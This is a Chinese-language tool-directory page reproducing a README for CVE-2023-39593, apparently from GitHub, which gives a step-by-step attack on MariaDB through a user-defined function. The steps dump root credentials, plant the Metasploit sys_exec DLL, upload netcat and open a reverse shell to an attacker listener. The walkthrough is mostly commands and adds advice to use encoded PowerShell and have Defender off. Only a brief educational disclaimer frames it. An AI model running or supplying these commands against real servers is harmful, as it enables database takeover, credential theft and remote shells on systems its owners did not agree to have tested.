Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-39593 — Database authenticated code execution | Kitploit
工具/GitHubGitHub/ant1sec-ops/cve-2023-39593
Privilege EscalationExploitationPost-ExploitationPenetration TestingCommand and ControlLearning & EducationRemote Access ToolPayload DevelopmentDatabase Security
GitHubant1sec-ops/cve-2023-39593

CVE-2023-39593

Database authenticated code execution

21年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

MariaDB 10.5 认证后的代码执行——sys_exec

本指南提供了在远程服务器上利用 MariaDB 用户自定义函数(UDF)漏洞的详细步骤。这些步骤包括在易受攻击的数据库系统上下载并执行恶意代码。

警告: 本文档仅供教育目的使用。未经授权使用这些技术是非法且不道德的。

重现攻击的步骤

1. 连接到 MariaDB 远程主机

使用以下命令连接到 MySQL 服务器:

root@kitploit:~
mysql -h 192.168.214.129 -u root -pPassw0rd!

2. 检查 MariaDB 版本

执行以下命令确定 MySQL 运行的版本:

root@kitploit:~
select @@version;

3. 列出所有用户

查看当前登录的用户:

root@kitploit:~
select user();

4. 转储根用户的所有信息

检索与 root 用户相关的所有详细信息:

root@kitploit:~
select * from mysql.user where user='root';

5. 检查用户权限

确定当前用户拥有哪些权限:

root@kitploit:~
show grants;

6. 检查系统架构

确定系统架构是否对 UDF 存在漏洞:

root@kitploit:~
select @@version_compile_os, @@version_compile_machine;

7. 检查插件目录

识别可以上传 UDF 文件的插件目录:

root@kitploit:~
select @@plugin_dir;

8. 复制 32 位 DLL

从 Metasploit 的利用目录复制 32 位 DLL:

root@kitploit:~
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll

9. 将 DLL 转换为 Base64 格式

将 udf.dll 文件编码为 base64 格式:

root@kitploit:~
cat udf.dll | base64 | tr -d '\n' > udf.base64

10. 将 DLL 传输到 MySQL 服务器

从 udf.base64 复制 base64 值并将其传输到 MySQL 服务器:

在文本编辑器中打开 udf.base64:

root@kitploit:~
leafpad udf.base64

在 MariaDB 中运行:

root@kitploit:~
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';

或者,如有必要,可以使用以下路径:

root@kitploit:~
C:\Program Files\MariaDB 11.1\lib\plugin\

11. 在 MariaDB 中加载 UDF 函数

在 MariaDB 中执行以下命令以创建一个新函数:

root@kitploit:~
create function sys_exec returns int soname 'udf.dll';

注意: 你也可以使用 sys_eval、sys_get、do_system 或 sys_bineval。确保使用 int 而不是 into。

12. 验证 UDF 安装

检查 UDF 函数是否成功安装:

root@kitploit:~
select * from mysql.func;

13. 准备 Netcat 二进制文件

将 Netcat 可执行文件复制到本地目录,并编码为 base64:

root@kitploit:~
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64

14. 将 Netcat 传输到 MariaDB 服务器

在文本编辑器中打开 nc.base64:

root@kitploit:~
leafpad nc.base64

然后在 MySQL 中:

root@kitploit:~
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';

或者,你也可以直接使用以下命令上传:

root@kitploit:~
mysql -u root -p -h 192.168.214.129 < nc.base64

15. 执行 Netcat 以实现反向 Shell

在 443 端口上开启 Netcat 监听器:

root@kitploit:~
sudo nc -nlvp 443

在远程服务器上执行 Netcat 以实现反向 Shell:

root@kitploit:~
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');

注意: 此步骤可能被 Windows Defender 或其他防病毒软件阻止。考虑使用 PowerShell 编码的命令(powershellbase64),并确保 Defender 已关闭。

16. 执行 PowerShell 命令

使用 base64 编码执行 PowerShell 命令:

root@kitploit:~
select sys_exec('powershellbase64');

注意: 在许多情况下,你可能获得 NT AUTHORITY SYSTEM 权限。

附加信息

  • 删除函数: 移除已创建的 UDF 函数:

    root@kitploit:~
    drop function sys_get;
    
  • 检查本地文件: 验证是否启用了本地写入:

    root@kitploit:~
    show variables like 'local_infile';
    
  • 查找具有插入权限的用户: 识别哪些用户拥有插入权限:

    root@kitploit:~
    use mysql;
    select user from user where insert_priv='Y' and Host='%';
    

免责声明: 本文档仅供教育目的和安全研究使用。滥用此信息可能导致刑事指控和严重的法律处罚。在测试任何网络或系统的漏洞之前,务必获得相关机构的许可。

下载工具